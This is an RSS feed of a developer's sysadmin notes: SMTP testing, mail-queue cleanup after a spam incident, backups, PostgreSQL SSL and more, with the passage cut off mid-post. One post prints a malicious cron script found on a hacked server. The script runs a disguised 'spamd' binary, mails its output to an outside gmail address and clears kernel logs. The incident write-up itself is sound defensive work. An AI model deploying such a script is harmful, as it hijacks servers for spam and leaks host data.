<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0' version='2.0'><channel><atom:id>tag:blogger.com,1999:blog-1463284730743101589</atom:id><lastBuildDate>Mon, 19 Mar 2012 19:59:15 +0000</lastBuildDate><title>TheBrain.ca Developer Notes</title><description>A repository for code snippets that I use repeatedly. More of a memory helper than a blog.

I found myself referring to the same man pages, sorting through lengthy options to find what works for me. So here is my repository. I'll try to add references I used when the original man pages did not suffice. And if I make improvements, I'll try to keep the current version first, but keep my revisions and comments beneath.</description><link>http://developer.thebrain.ca/</link><managingEditor>noreply@blogger.com (TheBrain.ca)</managingEditor><generator>Blogger</generator><openSearch:totalResults>21</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-1090120928156814009</guid><pubDate>Thu, 26 Jan 2012 03:42:00 +0000</pubDate><atom:updated>2012-01-25T19:50:11.731-08:00</atom:updated><title>SMTP troubleshooting with Telnet</title><description>&lt;pre&gt;telnet mail.contoso.com 25&lt;br /&gt;HELO test.com //or EHLO&lt;br /&gt;MAIL FROM:Admin@test.com //google mail servers are strict, use &amp;lt;admin@test.com&amp;gt;&lt;br /&gt;RCPT TO: User@Domain.Com //or for strict servers: &amp;lt;User@Domain.Com&amp;gt;&lt;br /&gt;Subject: test message  //note the blank line that follows - hit enter twice&lt;br /&gt;&lt;br /&gt;DATA&lt;br /&gt;This is a test line 1.&lt;br /&gt;This is a test line 2.&lt;br /&gt;.&lt;br /&gt;QUIT&lt;br /&gt;&lt;br /&gt;Typical output:&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="codeblock"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="color: #0000bb;"&gt;telnet&amp;nbsp;alt2&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;gmail&lt;/span&gt;&lt;span style="color: #007700;"&gt;-&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;smtp&lt;/span&gt;&lt;span style="color: #007700;"&gt;-&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;in&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;l&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;google&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;com&amp;nbsp;25 &lt;br /&gt;Trying&amp;nbsp;66.249.91.27&lt;/span&gt;&lt;span style="color: #007700;"&gt;... &lt;/span&gt;&lt;span style="color: #0000bb;"&gt;Connected&amp;nbsp;to&amp;nbsp;alt2&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;gmail&lt;/span&gt;&lt;span style="color: #007700;"&gt;-&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;smtp&lt;/span&gt;&lt;span style="color: #007700;"&gt;-&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;in&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;l&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;google&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;com&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700;"&gt;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;66.249.91.27&lt;/span&gt;&lt;span style="color: #007700;"&gt;). &lt;/span&gt;&lt;span style="color: #0000bb;"&gt;Escape&amp;nbsp;character&amp;nbsp;is&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'^]'&lt;/span&gt;&lt;span style="color: #007700;"&gt;. &lt;/span&gt;&lt;span style="color: #0000bb;"&gt;220&amp;nbsp;mx&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;google&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;com&amp;nbsp;ESMTP&amp;nbsp;y37si31029380iky.4 &lt;br /&gt;HELO&amp;nbsp;outofcontrol&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;ca &lt;br /&gt;250&amp;nbsp;mx&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;google&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;com&amp;nbsp;at&amp;nbsp;your&amp;nbsp;service &lt;br /&gt;MAIL&amp;nbsp;FROM&lt;/span&gt;&lt;span style="color: #007700;"&gt;:&amp;lt;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;myemailaddress&lt;/span&gt;&lt;span style="color: #007700;"&gt;@&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;outofcontrol&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;ca&lt;/span&gt;&lt;span style="color: #007700;"&gt;&amp;gt; &lt;/span&gt;&lt;span style="color: #0000bb;"&gt;250&amp;nbsp;2.1.0&amp;nbsp;OK&amp;nbsp;y37si31029380iky.4 &lt;br /&gt;RCPT&amp;nbsp;TO&lt;/span&gt;&lt;span style="color: #007700;"&gt;:&amp;lt;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;mygmailaddress&lt;/span&gt;&lt;span style="color: #007700;"&gt;@&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;gmail&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;com&lt;/span&gt;&lt;span style="color: #007700;"&gt;&amp;gt; &lt;/span&gt;&lt;span style="color: #0000bb;"&gt;250&amp;nbsp;2.1.5&amp;nbsp;OK&amp;nbsp;y37si31029380iky.4 &lt;br /&gt;DATA &lt;br /&gt;354&amp;nbsp;&amp;nbsp;Go&amp;nbsp;ahead&amp;nbsp;y37si31029380iky.4 &lt;br /&gt;This&amp;nbsp;is&amp;nbsp;a&amp;nbsp;test&lt;/span&gt;&lt;span style="color: #007700;"&gt;. &lt;br /&gt;. &lt;/span&gt;&lt;span style="color: #0000bb;"&gt;250&amp;nbsp;2.0.0&amp;nbsp;OK&amp;nbsp;1230083982&amp;nbsp;y37si31029380iky.4 &lt;br /&gt;QUIT &lt;br /&gt;221&amp;nbsp;2.0.0&amp;nbsp;closing&amp;nbsp;connection&amp;nbsp;y37si31029380iky.4 &lt;br /&gt;Connection&amp;nbsp;closed&amp;nbsp;by&amp;nbsp;foreign&amp;nbsp;host&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;pre&gt;&lt;myemailaddress@outofcontrol.ca&gt;&lt;mygmailaddress@gmail.com&gt;&lt;/mygmailaddress@gmail.com&gt;&lt;/myemailaddress@outofcontrol.ca&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-1090120928156814009?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2012/01/smtp-troubleshooting-with-telnet.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-5184498925298159570</guid><pubDate>Thu, 17 Nov 2011 19:46:00 +0000</pubDate><atom:updated>2012-01-08T17:32:38.770-08:00</atom:updated><title>Script for Image Resizing</title><description>OsCommerce doesn't do thumbnails or image processing. Here is a bash script using ImageMagick:&lt;br /&gt;&lt;pre&gt;#!/bin/sh&lt;br /&gt;f="$1";&lt;br /&gt;#if file doesn't exist or is not a "regular file", exit&lt;br /&gt;#we'll use the file timestamp to avoid duplicate processing later&lt;br /&gt;s="$(stat -c '%Y %s %F' "$f" 2&amp;gt;/dev/null)";&lt;br /&gt;if [[ -z "$s" ]]; then&lt;br /&gt;        exit 1;&lt;br /&gt;fi;&lt;br /&gt;set $s;&lt;br /&gt;if [[ "$3" != "regular" || "$4" != "file" ]]; then&lt;br /&gt;        exit 1;&lt;br /&gt;fi;&lt;br /&gt;fmod="$1";&lt;br /&gt;fsize="$2";&lt;br /&gt;&lt;br /&gt;# if file previously processed exit&lt;br /&gt;# previously processed means a backup exists that is no more than 60 seconds older than target&lt;br /&gt;s="$(stat -c %Y "$f".~* 2&amp;gt;/dev/null)";&lt;br /&gt;if [[ -n "$s" ]]; then&lt;br /&gt;        set $s;&lt;br /&gt;        #work with last output of stat command (i.e. assumes backups sorted by name = sorted by time)&lt;br /&gt;        lastmod=${!#};&lt;br /&gt;        if [[ "$fmod" -lt $(($lastmod + 60)) ]]; then&lt;br /&gt;                exit 0;&lt;br /&gt;        fi;&lt;br /&gt;fi;&lt;br /&gt;&lt;br /&gt;x="$(identify -format '%w %h %b %m' "$f")" || exit $?;&lt;br /&gt;set $x;&lt;br /&gt;if [[ "$4" != "JPG" &amp;amp;&amp;amp; "$4" != "JPEG" ]]; then&lt;br /&gt;        exit 0;&lt;br /&gt;fi;&lt;br /&gt;if [[ "$1" -gt 1024 || "$2" -gt 1024 || "$3" -gt 100000 ]]; then&lt;br /&gt;        cp -f --backup=numbered "$f" "$f" || exit $?;&lt;br /&gt;        convert "$f" -thumbnail '1024x1024&amp;gt;' -quality 75 "$f";&lt;br /&gt;        echo "$f";&lt;br /&gt;fi; &lt;br /&gt;exit 0;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This script attempts to prevent itself from re-processing the same image.&lt;br /&gt;&lt;br /&gt;I call it from cron like so:&lt;br /&gt;&lt;pre&gt;45 0 * * *&amp;nbsp; log="$HOME"/sp-image-resize.log; echo "*** $(date)" &amp;gt;&amp;gt; "$log"; find "$HOME"/oscommerce/catalog/images -type f -size +50k -not -name '*~?~' -mtime -1 -exec "$HOME"/sp-image-resize {} \; &amp;gt;&amp;gt; "$log" 2&amp;gt;&amp;amp;1&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-5184498925298159570?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2011/11/script-for-image-resizing.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-8161146903954929488</guid><pubDate>Thu, 10 Nov 2011 19:08:00 +0000</pubDate><atom:updated>2011-11-16T10:39:37.539-08:00</atom:updated><title>MySQL Backup</title><description>For creating a mysql database backup:&lt;br /&gt;&lt;blockquote&gt;&lt;code&gt;mysqldump -u someuser -h somehost -p --opt db_name | gzip &amp;gt; db.$(date +%Y-%m-%dT%H:%M:%S).sql.gz&lt;/code&gt;&lt;/blockquote&gt;--opt is a shortcut for various options.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-8161146903954929488?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2011/11/mysql-backup.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-358491231399452757</guid><pubDate>Fri, 25 Jun 2010 19:59:00 +0000</pubDate><atom:updated>2010-06-25T14:17:04.864-07:00</atom:updated><title>cron, popwatch and spamd</title><description>Here is what I discovered following my bout with our server being used to deliver spam.&lt;br /&gt;&lt;br /&gt;I noted the following from ps - Af&lt;br /&gt;&lt;samp&gt;&lt;br /&gt;...&lt;br /&gt;root     24197  2845  0  1460  1504   0 00:03 ?        00:00:00 crond&lt;br /&gt;root     24198 24197  0   601   980   2 00:03 ?        00:00:00 /bin/bash /usr/bin/run-parts /etc/cron.daily&lt;br /&gt;exim     25568 24197  0  2892  2500   3 00:03 ?        00:00:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t&lt;br /&gt;root     25692 24198  0   537   648   0 00:03 ?        00:00:00 awk -v progname=/etc/cron.daily/popwatch progname {?????   print progname ":\n"?????   progname="";????       }????       { print; }&lt;br /&gt;root     25713     1  0  1880  6124   0 00:03 ?        00:00:03 spamd -w child&lt;br /&gt;...&lt;br /&gt;&lt;/samp&gt;&lt;br /&gt;I found the file /etc/cron.daily/popwatch. I think this file was the culprit, placed there by means unknown (but I am guessing from an exploit of either exim or the portmapper). Anyhow the contents of popwatch:&lt;br /&gt;&lt;samp&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;TERM=linux&lt;br /&gt;x=`pwd`&lt;br /&gt;&lt;br /&gt;cd /usr/lib/&lt;br /&gt;./spamd -r child &gt; test&lt;br /&gt;mail spamdrchild@gmail.com -s "$(hostname -f)" &lt; test&lt;br /&gt;rm -rf test child&lt;br /&gt;killall -9 /usr/lib/spamd&lt;br /&gt;A=$PATH&lt;br /&gt;sleep 1&lt;br /&gt;export PATH=/usr/lib/&lt;br /&gt;spamd -w child &amp;&lt;br /&gt;export PATH=$A&lt;br /&gt;dmesg -c&lt;br /&gt;dmesg -c&lt;br /&gt;cd $x&lt;br /&gt;&lt;/samp&gt;&lt;br /&gt;&lt;br /&gt;I could find no information about the file /usr/lib/spamd. I suppose it was also part of the (assumed) exploit. Its name is probably just a simple misdirection so it looks legitimate.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-358491231399452757?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2010/06/cron-popwatch-and-spamd.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-1898041420210159219</guid><pubDate>Fri, 11 Jun 2010 19:30:00 +0000</pubDate><atom:updated>2010-06-11T14:39:12.156-07:00</atom:updated><title>Troubleshooting mail queue on Postfix, Zimbra, Exim</title><description>Recently our Zimbra opensource mail server ground to a halt. As it did, the Godaddy smarthost reported we'd exceeded our 1000 daily smtp relay limit. This was an important clue: unfortunately that email was lost among hundreds of bounce messages, or perhaps stuck on the queue.&lt;br /&gt;&lt;br /&gt;The reason was straightforward and common enough. We had been targeted for delivering thousands of spam messages.&lt;br /&gt;&lt;br /&gt;The Zimbra admin web ui became rather useless. First, it is slow at the best of times, and with the server struggling for life, the web ui just didn't respond. Partially fixing things on the server using good old command line tools got zimbra responding. However, with 80000 messages on hold, the Zimbra admin web ui again could do nothing useful with them. Back to the command line.&lt;br /&gt;&lt;br /&gt;Zimbra would be better off just having a fancy ajax shell console, perhaps with some nicely integrated instructions for the already existing command line tools, rather than their complex and ineffective ui, imho.&lt;br /&gt;&lt;br /&gt;First thing that needed to be done was to stop Zimbra.&lt;br /&gt;&lt;blockquote&gt;su - zimbra&lt;br /&gt;zmcontrol stop&lt;/blockquote&gt;The zimbra documentation hinted that "zmcontrol stop mta" might just stop a particular service, but I found that not to be the case. Everything starts or stops.&lt;br /&gt;&lt;br /&gt;With zimbra stopped, the server became nicely responsive and I proceeded (as root) to manage the postfix queued messages with the postfix tools.&lt;br /&gt;&lt;blockquote&gt;cd /opt/zimbra/postfix/sbin&lt;br /&gt;./postsuper -h ALL&lt;/blockquote&gt;This transferred all the messages out of "deferred", "incoming" and "active" into "hold" queue. I was then able to start zimbra and it worked for a bit. Unbeknown to me, we had a big queue of messages on our web server, and after zimbra started, thousands more messages arrived and choked zimbra, so it had to be stopped again. I had wanted to stop just the zimbra mta and keep the imap daemon running, so I could study the nature of these mails easily, but zimbra doesn't support that.&lt;br /&gt;&lt;br /&gt;On our web server, which runs exim, from &lt;a href="http://bradthemad.org/tech/notes/exim_cheatsheet.php"&gt;bradthemad.org/tech/notes/exim_cheatsheet.php&lt;/a&gt;, I did the following (as root).&lt;br /&gt;&lt;blockquote&gt;exiqgrep -i &gt; /tmp/x&lt;br /&gt;for f in $(cat /tmp/x); do exim -Mrm $f; done;&lt;br /&gt;&lt;/blockquote&gt;This deleted everything that was queued. I updated apache, and exim, and php and disabled our forums - as it was not immediately obvious how the spam was being generated, only that it was starting out as root from the local machine, which was distressing. And, this server is actually a guest on a Xen host. It's a tangled web we weave.&lt;br /&gt;&lt;br /&gt;Now I repeated using postsuper on the zimbra server (with zimbra stopped) to clear the queues. Restarted zimbra, and all was well. Except for the thousands of emails now held. These I could not so easily delete, as some legitimate emails were in there.&lt;br /&gt;&lt;br /&gt;The zimbra admin web ui was ineffective for dealing with the thousands of held mails, so it was back to the postfix command line tools.&lt;br /&gt;&lt;blockquote&gt;postqueue -p prints message ids (all of them) with a little bit of envelope info.&lt;br /&gt;postcat -q &lt;message-id&gt; prints the actual message&lt;/message-id&gt;&lt;/blockquote&gt;&lt;br /&gt;Ultimately I used the following.&lt;br /&gt;&lt;blockquote&gt;./postqueue -p | awk '/root@server1.homerent.ca/ {print $1}' &gt; /tmp/x&lt;br /&gt;./postsuper -d - &lt; /tmp/x &lt;/blockquote&gt;All was well thereafter.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-1898041420210159219?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2010/06/troubleshooting-mail-queue-on-postfix.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-6844050306942907839</guid><pubDate>Fri, 27 Nov 2009 16:24:00 +0000</pubDate><atom:updated>2010-01-26T12:20:03.450-08:00</atom:updated><title>ssl certificates for postgresql</title><description>We need to setup certificates on the server (linux) and the client (pgadmin3 on windows).&lt;br /&gt;&lt;br /&gt;Three certificates are required in the "data" directory for the postgres server:&lt;br /&gt;root.crt (trusted root certificate)&lt;br /&gt;server.crt (server certificate)&lt;br /&gt;server.key (private key)&lt;br /&gt;&lt;br /&gt;Generate the private key (you must provide a passphrase).&lt;br /&gt;Remove the passphrase.&lt;br /&gt;Set permissions.&lt;br /&gt;&lt;code&gt;openssl genrsa -des3 -out server.key 1024&lt;br /&gt;openssl rsa -in server.key -out server.key&lt;br /&gt;chmod 400 server.key&lt;br /&gt;chown postgres.postgres server.key&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Create the server certificate (providing -subj is a shortcut to avoid prompting of info). The option -x509 produces a self signed certificate rather than a certificate request (a one step shortcut).&lt;br /&gt;&lt;code&gt;openssl req -new -key server.key -days 365 -out server.crt -x509 -subj '/C=CA/ST=British Columbia/L=Comox/O=TheBrain.ca/CN=thebrain.ca/emailAddress=info@thebrain.ca'&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Since we are self-signing, we use the server certificate as the trusted root certificate.&lt;br /&gt;&lt;code&gt;cp server.crt root.crt&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The server must be restarted.&lt;br /&gt;&lt;br /&gt;On the pgadmin3 windows client, in the %appdata%/postgresql directory we need:&lt;br /&gt;postgresql.key (private key)&lt;br /&gt;postgresql.crt&lt;br /&gt;root.crt&lt;br /&gt;&lt;br /&gt;Copy the file root.crt from the linux server to the windows client machine.&lt;br /&gt;&lt;br /&gt;Generate the private key postgresql.key on the linux server (using openssl), remove the passphrase and copy the resulting file to client machine.&lt;br /&gt;&lt;code&gt;openssl genrsa -des3 -out /tmp/postgresql.key 1024&lt;br /&gt;openssl rsa -in /tmp/postgresql.key -out /tmp/postgresql.key&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Generate postgresql.crt on the linux server and copy to client machine. It must be signed by our trusted root (which is using the server.key file). The certificate common name must be set to the database user name we'll connect as.&lt;br /&gt;&lt;code&gt;openssl req -new -key /tmp/postgresql.key -out /tmp/postgresql.csr -subj '/C=CA/ST=British Columbia/L=Comox/O=TheBrain.ca/CN=db-username'&lt;br /&gt;openssl x509 -req -in /tmp/postgresql.csr -CA root.crt -CAkey server.key -out /tmp/postgresql.crt -CAcreateserial&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-6844050306942907839?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2009/11/ssl-certificates-for-postgresql.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>2</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-4879952904279167356</guid><pubDate>Wed, 06 May 2009 16:41:00 +0000</pubDate><atom:updated>2010-01-26T11:01:01.027-08:00</atom:updated><title>Daily Newspaper Rental Classifies in Canada</title><description>&lt;a href="http://www.thebrain.ca/rental-property-classifieds/index"&gt;TheBrain.ca Rental Classifieds&lt;/a&gt; is a free, minimalist approach to address the craziness of online home rental advertising. It is hard to fathom (for me) that companies that make so much money from publishing ads in print do such a horrible job at presenting the same data online.&lt;br /&gt;&lt;br /&gt;In Canada there are two big media companies that publish most of the daily papers: Quebecor, who publish The Toronto Sun, The Ottawa Sun, The London Free Press, The Winnipeg Sun, etc., and Canwest who publish The Calgary Herald, The Edmonton Journal, The Vancouver Sun, The Victoria Times Columnist, etc.&lt;br /&gt;&lt;br /&gt;Quebecor's Sun Media papers ultimately display their housing rental classifieds on &lt;a href="http://www.classifiedextra.ca/"&gt;www.classifiedextra.ca&lt;/a&gt;. The first thing I notice upon visiting the url and doing a test search is it takes forever. The second thing I notice is that I cannot find any apartments. Perhaps I am doing something wrong.&lt;br /&gt;&lt;br /&gt;Canwest provides www.canada.com. Their home for rent ads are now online at &lt;a href="http://www.househunting.ca/"&gt;www.househunting.ca&lt;/a&gt;. My first effort to test their website crashed my browser (Firefox). IE worked on the second try.&lt;br /&gt;&lt;br /&gt;Both sites feature terribly slow, advertising burdened pages. It seems unfair that someone who has paid $50 to $100 to advertise has a multitude of other ads posted above, around, over top, and below it.&lt;br /&gt;&lt;br /&gt;It seems mean to make someone searching specific information (e.g. accommodation), information that someone else has paid to provide, be purposefully forced to sift through other irrelevant (albeit also paid for) information.&lt;br /&gt;&lt;br /&gt;Househunting.ca mapping is horrible. Google made a brilliantly simple, free method of providing maps for data (with Yahoo following suit). These publishers (and the MLS with for sale accommodation) make their mapping so awkward. Do they have some nefarious clever purpose? It has to be a lot of work to start with a simple map interface and make it so obscure.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-4879952904279167356?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2009/05/daily-newspaper-rental-classifies-in.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-5310708588325442193</guid><pubDate>Sun, 01 Mar 2009 15:41:00 +0000</pubDate><atom:updated>2009-03-01T07:48:11.159-08:00</atom:updated><title>Css EM versus EX unit</title><description>Refer to &lt;a href="http://www.xs4all.nl/~sbpoley/webmatters/emex.html"&gt;http://www.xs4all.nl/~sbpoley/webmatters/emex.html&lt;/a&gt; why EM works more consistently than EX.&lt;br /&gt;&lt;br /&gt;I had thought to use the ex unit for specifying all widths. The idea came from form fields: if my input was something like a phone number, 10 digits plus 2 dashes would fit nicely in 12ex width (on average, depending upon the actual digits, since widths vary). Then, for consistency, I thought to specify all widths in ex.&lt;br /&gt;&lt;br /&gt;Unfortunately IE and Mozilla render ex differently.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-5310708588325442193?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2009/03/css-em-versus-ex-unit.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-902614893099935748</guid><pubDate>Thu, 15 Jan 2009 03:52:00 +0000</pubDate><atom:updated>2009-01-14T19:54:01.158-08:00</atom:updated><title>joeant.com and web directories</title><description>I just stumbled upon joeant.com which charges $40 for a listing in their directory. But, the have direct links (as opposed to redirects). Hmmm.... I need to review paid directory listings.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-902614893099935748?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2009/01/joeantcom-and-web-directories.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-3995559151293997093</guid><pubDate>Sat, 10 Jan 2009 23:47:00 +0000</pubDate><atom:updated>2009-01-10T16:06:38.650-08:00</atom:updated><title>Server Unexpectedly Rebooting</title><description>Our server, rather suddenly, is unexpectedly rebooting. It started around Jan 7. &lt;br /&gt;&lt;br /&gt;I should be clear that the server is remotely located, which makes things more challenging.&lt;br /&gt;&lt;br /&gt;At night (Jan 6?) I was doing some big disk archiving/maintenance. Lots of bzip2.&lt;br /&gt;I upgraded postgresql from 8.3.3 to 8.3.5 because of my earlier trials with COPY TO and COPY FROM some xml data which I thought might be a bug (wasn't). I solved that (described in earlier post).&lt;br /&gt;Also that night, the network cable was unplugged, then plugged back in 30 minutes later.&lt;br /&gt;&lt;br /&gt;The next day, I noted my ssh session had terminated in the night (and my screen session). Odd. Then it happend while I was working. The computer lost connectivity for about 3 minutes. Checking /var/log/messages showed no evidence of a shutdown, but of the normal boot up sequence.&lt;br /&gt;&lt;br /&gt;My first thought was power interruption... but the tech staff say no, other machines on the same ups had no problems.&lt;br /&gt;My second thought was that monkeying with the network cable jarred something loose. The staff promised me they double checked the cables seated properly.&lt;br /&gt;&lt;br /&gt;Jan 9 the reboots started happening more frequently. So I need to install the openipmi to check hardware. &lt;a href="http://lonesysadmin.net/2007/06/21/how-to-configure-ipmi-on-a-dell-poweredge-running-red-hat-enterprise-linux/"&gt;lonesysadmin.net article&lt;/a&gt; provides some good instructions.&lt;br /&gt;But, the challenge is getting the kernel re-compiled with the appropriate modules, for which there is very little instruction. Particularly risky is the fact that the server is remote. Fortunately   I figured out how to use the GRUB setdefault --once command to reboot a new image (once).&lt;br /&gt;&lt;br /&gt;But the machine has not rebooted for many hours. I'll wait until tonight...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-3995559151293997093?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2009/01/server-unexpectedly-rebooting.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-6465226213002831075</guid><pubDate>Tue, 06 Jan 2009 21:09:00 +0000</pubDate><atom:updated>2009-01-06T13:17:32.566-08:00</atom:updated><title>postgresql copy from for xml columns</title><description>If you output (COPY TO FILE) a table that has two columns of datatype xml, and one column has data that is output as a document, and the other column is output as content, it is impossible to directly import the data using COPY FROM. All xml input must be in the same form (i.e. either all documents or all document fragments).&lt;br /&gt;&lt;br /&gt;The solution I found was to create a temporary table with data type of text, COPY TO that and then convert the text to xml. Further, ALTER COLUMN x SET TYPE xml USING parsexml(DOCUMENT x) failed too, so I had to create a new column, update it, drop original column and then rename new column to original.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-6465226213002831075?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2009/01/postgresql-copy-from-for-xml-columns.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-4870464466443482711</guid><pubDate>Fri, 26 Dec 2008 01:12:00 +0000</pubDate><atom:updated>2008-12-25T18:04:20.053-08:00</atom:updated><title>voip step one</title><description>I downloaded and installed asterisk (version 1.4.x) from www.asterisk.org. I avoided "asterisk now" and tribox.&lt;br /&gt;&lt;br /&gt;I followed the instructions in the free download http://downloads.oreilly.com/books/9780596510480.pdf chapter 3 to get asterisk up and running, including "make sample". The only glitch was that I had to "make distclean" rather than just "make clean" because on first compile attempt I was still missing some dependencies (specifically ncurses-devel). "make clean" does not clean subdirectories, but "make distclean" does.&lt;br /&gt;&lt;br /&gt;I followed &lt;a href="http://www.voipplanet.com/backgrounders/article.php/3597871"&gt;VoIPowering your Office with Asterisk—Building a Test Lab, Part 2&lt;/a&gt; &lt;br /&gt;and the downloaded pdf simultaneously. I downloaded and installed (on a windows machine) the xlite softphone, and I edited /etc/asterisk/sip.conf, enabling some commented out sections &lt;br /&gt;[xlite1]&lt;br /&gt;type=friend&lt;br /&gt;host=dynamic&lt;br 